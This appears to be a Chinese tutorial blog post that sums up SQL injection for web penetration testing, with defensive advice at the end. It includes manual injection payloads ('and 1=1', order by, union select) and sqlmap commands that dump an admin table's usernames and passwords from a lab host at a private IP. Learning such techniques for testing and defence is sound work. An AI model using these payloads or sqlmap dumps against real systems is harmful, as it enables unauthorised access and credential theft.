Web渗透-SQL注入知识总结

数据库相关概念

  1. 数据Data:在计算机系统中,各种字母、数字、符号的组合,语音、图形、图像等统称为数据
  2. 数据库Database:数据库是按照数据结构来组织、存储、管理数据的“仓库”
  3. 数据库管理系统DBMS::一类操纵和管理数据的软件,用于建立、使用、维护数据库。它能对数据库进行统一管理和控制,以保证数据库的安全性和完整性
    典型:Access、MSSQL、Oracle、SQLite、MySQL等
  4. 结构化查询语句SQL:是一种数据库查询和程序设计语言,用于数据的增删改查
  5. SQL语言包含的六大部分

DQL数据查询语句,如:select * from tb_name;
DML数据操作语句,如:inset插入,update更新,delete删除 from tb_name where name=“user”
DCL数据控制语句,如:grant授权,revoke
DDL数据定义语句,如:create,drop
CCL指针控制语句,如:declare,cursor,fetch
TPL事务处理语句,如:commit,rollback

SQL注入相关概念

SQL常见语句

  1. 查询语句

Select * from tb_name;

  1. 插入语句

Insert into tb_name values(“name”,“password”,“phone”);

  1. 更新语句

Update tb_name set password="cj123456"where name=“chenj”;

  1. 删除语句

Delete from tb_name where name = “chenj”;

排序语句:order by 默认升序,但在SQL注入里面,用来判断表有多少列
联合查询:union

select * from tb1union all select * from tb2

  • 静态页面 :html/htm,不需要服务器解析脚本
    不依赖数据库
    灵活性差,交互性差
    安全,不存在sql注入漏洞
  • 动态页面 :asp/php/jsp等,根据指令来生成静态网页
    依赖数据库
    灵活性好,维护简单,交互性好,功能强大
    存在sql注入等安全风险

SQL注入简介

SQL注入介于客户端Browser向脚本引擎请求这一步。

注入就是把SQL命令插入到Web表单递交或域名或请求查询的字符串中,
最终达到欺骗服务器执行恶意命令。

SQL注入即是指web应用程序对用户输入数据的合法性没有判断或过滤不严,
攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,
在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,
从而进一步得到相应的数据信息。

SQL注入作用

绕过登录验证        获取敏感数据     文件系统操作
注册表操作          执行系统命令

漏洞本质

代码与数据不区分

漏洞成因

服务器未对用户提交的参数数据进行校验和有效过滤,
直接进行SQL语句的拼接,改变原意,传进数据库解析引擎中执行

漏洞危害

包括但不限于 :敏感信息泄露   篡改网站内容     网页植入木马   
			  数据库恶意操作   服务器远程控制

注入漏洞分类

按照注入点分类

  1. 数字型注入

http:www.example.com/12.php?id=1
类似这种结构,基于此种形式的注入构造出类似如下的sql注入语句进行爆破:
select * from 表名 where id1 and 1=1
http:www.example.com/12.php?id=1 and 1=1

  1. 字符型注入

http://xwww.example.com/users.php?user=admin
类似这种结构
SQL 语句原型大概为 select * from tb_name where user=‘admin’
构造出类似与如下的sql注入语句进行爆破:
select * from 表名 where user=‘admin’ and 1=1 ’
我们需要将这些烦人的引号给处理掉

SQL手动注入

基本步骤:
带猜测性质,考验经验

  1. 判断能否注入:通过url后加上 and 1=1,如果现实正常说明有漏洞
    and 1=2会报错,那是因为1=2语句本身就报错的,但实际上这条语句还是成功执行了

  2. 爆字段长度:用order by + 数字 这个语句检测关键字id所在表有多少列

  3. 检测表存在:id=1 and exists(select * from admin),显示正常说明存在名为admin的表

  4. 检测字段存在:id=1 and exists(select username/password from admin),显示正常说明存在名为username/password的列

  5. 匹配字段(union 联合查询:id=1 and 1=2 union select 1,2,3,…,x 回显出错列,可能就是username/password

  6. 将回显的列替换成username/password 显示管理员账号密码

  7. 登录后台,一般为ip/admin 或者ip/login

SQL注入利用工具

1.测试连通性(ping)
2.使用sqlmap工具利用具有sql注入漏洞的页面链接(http://192.168.88.135/ProductShow.asp?ID=114)

Sqlmap -u “http://192.168.163.143/ProductShow.asp?ID=114”-dbs
猜解出数据库,数据库名(back-end),数据库类型(Microsoft ACCESS)
在这里插入图片描述

Sqlmap -u “http://192.168.163.143/ProductShow.asp?ID=114” -D back-end DBMS --tables
查看数据库中存在哪些表在这里插入图片描述

sqlmap -u “http://192.168.163.143/ProductShow.asp?ID=114” –D back-end DBMS -T admin --columns
查看admin表中有哪些列在这里插入图片描述

sqlmap -u “http://192.168.163.143/ProductShow.asp?ID=114” –D back-end DBMS -T admin -C username,password --dump
猜解username和password这两列的值
在这里插入图片描述
字典爆破出账号admin,密码是admin888的md5加密值

SQL注入漏洞如何防御

完善过滤对象

  • 用户的输入字符串
  • 提交的URL请求中的参数部分
  • 从cookie中得到的数据
  • 部署防SQL注入的系统或脚本

过滤特殊字符

  • 单引号、双引号、斜杠、反斜杠、冒号、空字符等
  • 使用str_replace方法把特殊字符替换成空格
  • 在这里插入图片描述
  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
Web渗透中的SQL注入是一种常见的攻击,它利用了Web应用程序对用户输入的不充分验证和过滤,导致恶意用户可以通过构造特定的SQL语句来执行非法的数据库操作。下面是对Web渗透SQL注入的介绍: 1. SQL注入的原理:SQL注入是通过在用户输入中插入恶意的SQL代码,使得应用程序在执行SQL查询时执行了攻击者预期的操作,比如绕过登录验证、获取敏感数据等。 2. SQL注入的类型: - 基于错误的注入:攻击者通过构造恶意的SQL语句,使得应用程序在执行时产生错误信息,从而获取敏感信息。 - 基于布尔盲注的注入:攻击者通过构造恶意的SQL语句,利用应用程序在执行时的不同响应来判断条件是否成立,从而获取敏感信息。 - 基于时间盲注的注入:攻击者通过构造恶意的SQL语句,利用应用程序在执行时的延迟响应来判断条件是否成立,从而获取敏感信息。 3. 防御SQL注入的方法: - 使用参数化查询或预编译语句:通过将用户输入作为参数传递给SQL查询,而不是直接拼接到SQL语句中,可以有效防止SQL注入攻击。 - 输入验证和过滤:对用户输入进行严格的验证和过滤,确保只接受合法的输入,并对特殊字符进行转义或编码。 - 最小权限原则:数据库用户应该具有最小的权限,只能执行必要的操作,以减少攻击者利用SQL注入进行的恶意操作的影响范围。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值